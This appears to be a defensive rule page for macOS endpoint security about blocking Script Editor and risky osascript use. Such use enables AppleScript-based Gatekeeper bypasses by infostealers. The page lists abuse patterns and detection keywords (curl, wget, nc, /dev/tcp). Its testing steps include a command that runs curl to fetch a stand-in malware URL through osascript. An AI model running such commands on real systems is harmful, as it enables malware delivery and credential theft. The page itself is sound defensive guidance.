Prevent AppleScript Gatekeeper Bypass
Block Script Editor and dangerous osascript shell patterns to stop AppleScript-based Gatekeeper bypasses used by macOS infostealers.
Idea
AppleScript runs through Apple-signed, notarized interpreters (osascript, Script Editor) that themselves pass Gatekeeper. The script content they execute — inline -e snippets or .scpt/.applescript files — is not subject to the notarization or signature scrutiny that Gatekeeper applies to application bundles and Mach-O binaries. Once interpreted, the do shell script primitive bridges directly to shell execution at the user's privilege level, making AppleScript a useful initial-access vector even on systems with Gatekeeper fully enforced. This technique was documented by Pepe Berba in research on macOS infection vectors.
Common abuse patterns:
do shell script "curl ..."to fetch a payload from an attacker-controlled host- Executing the payload directly —
curl/wgetdon't apply the quarantine attribute Gatekeeper relies on for first-launch checks - Delivering a
.scptor.applescriptfile via phishing or a malicious archive and tricking the user into opening it - Driving UI automation to harvest credentials via spoofed password dialogs
Script Editor (com.apple.ScriptEditor) opens and runs .scpt and .applescript files, executing their contents with the user's privileges. Attackers use this for:
- Downloading and executing follow-on malware
- Stealing credentials via spoofed password dialogs
- Modifying user-writable system configuration
- Establishing persistence (e.g. via LaunchAgents)
This rule can either block Script Editor entirely (for high-security environments) or block specific dangerous patterns in osascript usage.
Solutions
- Signing ID
- Policy
- Custom Message
- Signing ID
- CEL Expression
- Custom Message
- Signing ID
- CEL Expression
- Custom Message
Mitre Attack
Tags
Deployment Notes
Choose your deployment strategy based on your organization's needs:
High Security Environment:
- Block Script Editor entirely
- Only allow osascript for specific signed applications
- Requires users to request exceptions for legitimate automation needs
Medium Security Environment:
- Block dangerous osascript patterns (shell commands with curl/wget/nc/ncat, or references to /tmp, /var/tmp, /dev/tcp)
- Allow general AppleScript use for productivity automation
- Monitor for suspicious patterns
Low Security / Audit Mode:
- Log all osascript usage without blocking
- Analyze patterns to understand legitimate usage
- Build allowlist before enforcing blocks
Important considerations:
- Many legitimate macOS workflows use AppleScript (automation, UI scripting)
- Script Editor is used by power users and developers
- Some enterprise management tools use osascript
- AI coding tools like Claude Code use osascript
Before blocking Script Editor entirely, audit your environment for legitimate usage.
False Positive Guidance
AppleScript has many legitimate uses that will trigger these rules:
Script Editor legitimate uses:
- Workflow automation by power users
- System administration scripts
- UI automation and testing
- macOS productivity enhancements
osascript legitimate uses:
- Application automation (Mail, Finder, etc.)
- System event triggers
- AI coding tools (Claude Code, Cursor)
- Google Cloud SDK installer
- Enterprise management scripts
Mitigation strategies:
- Start with audit mode to understand usage patterns
- Block only the most dangerous patterns first
- Use Workshop tags to exempt IT staff and developers
- Create approval workflows for legitimate automation needs
- Consider blocking Script Editor but allowing signed osascript usage
Note: Blocking Script Editor is a significant productivity impact - only do this in high-security environments.
Testing Instructions
-
Try to open Script Editor:
open -a "Script Editor"(should be blocked if using that rule) -
Test dangerous osascript pattern:
osascript -e 'do shell script "curl https://example.com/malware"'(should be blocked)
-
Test legitimate osascript:
osascript -e 'tell application "Finder" to display dialog "Test"'(should work)
-
Verify legitimate automation still functions in your environment
Detection Methods
Monitor CEL execution events for blocked AppleScript attempts. Pay special attention to:
Suspicious patterns:
- osascript with
curl,wget,nc, orncatdownloading or exfiltrating over the network - Scripts referencing
/tmp/,/var/tmp/, or/dev/tcp/(reverse-shell primitive) - Multiple rapid osascript executions (potential automation)
- Scripts opening or executing downloaded files
Investigation steps:
- Review the full osascript command line
- Check the parent process - was it clicked by user or automated?
- Examine file system activity - were files downloaded?
- Look for associated network connections
- Check if this is part of a larger attack chain
Legitimate vs. Malicious indicators:
- Legitimate: Interactive, from known scripts, familiar patterns
- Malicious: From downloads, curl commands, /tmp/ execution, obfuscated
Resources
Related Rules
Block Fake Password Prompts via osascript
Block osascript display dialogs that mimic system password prompts, stopping Atomic Stealer and Cthulhu Stealer from harvesting user credentials.
Prevent Gatekeeper from Being Disabled
Block spctl from disabling macOS Gatekeeper protections, stopping attackers and social engineering attempts from weakening signature enforcement.
Prevent Quarantine Attribute Stripping
Block xattr commands that strip or forge Gatekeeper quarantine attributes, stopping attackers from bypassing first-launch signature checks.